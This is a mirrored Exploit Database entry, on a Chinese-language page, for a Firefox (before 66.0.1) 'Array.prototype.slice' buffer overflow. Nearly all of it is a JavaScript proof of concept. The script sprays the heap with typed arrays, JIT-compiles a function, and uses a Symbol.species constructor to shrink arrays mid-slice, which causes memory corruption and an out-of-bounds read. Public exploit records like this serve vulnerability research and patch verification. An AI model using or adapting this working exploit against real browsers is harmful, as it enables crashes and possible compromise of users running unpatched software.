Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow

Exploit Database
108 阅读

作者： xuechiyaobai

日期： 2019-03-26
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/46605/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

<script>

let size = 64;

garr = [];

j = 0;

function gc(){

var tmp = [];

for(let i = 0;i < 0x20000;i++){

tmp[i] = new Uint32Array(size * 2);

for(let j = 0;j < (size*2);j+=2){

tmp[i][j] = 0x12345678;

tmp[i][j+1] = 0xfffe0123;

}

}

garr[j++] = tmp;

}

let arr = [{},2.2];

let obj = {};

obj[Symbol.species] = function(){

victim.length = 0x0;

for(let i = 0;i < 0x2000;i++){

gvictim[i].length = 0x0;

gvictim[i] = null;

}

gc();

//Array.isArray(garr[0][0x10000]);

return [1.1];

}

let gvictim = [];

for(let i = 0;i < 0x1000;i++){

gvictim[i] = [1.1,2.2];

gvictim[i].length = size;

gvictim[i].fill(3.3);

}

let victim = [1.1,2.2];

victim.length = size;

victim.fill(3.3);

for(let i = 0x1000;i < 0x2000;i++){

gvictim[i] = [1.1,2.2];

gvictim[i].length = size;

gvictim[i].fill(3.3);

}

function fake(arg){

}

for(let i = 0;i < size;i++){

fake["x"+i.toString()] = 2.2;

}

function jit(){

victim[1] = 1.1;

arr.slice();

//fake.x2 = 6.17651672645e-312;

return victim[2];

}

flag = 0;

for(let i = 0;i < 0x10000;i++){

xx = jit();

}

arr.constructor = obj;

Array.isArray(victim);

alert(333);

alert(jit());

</script>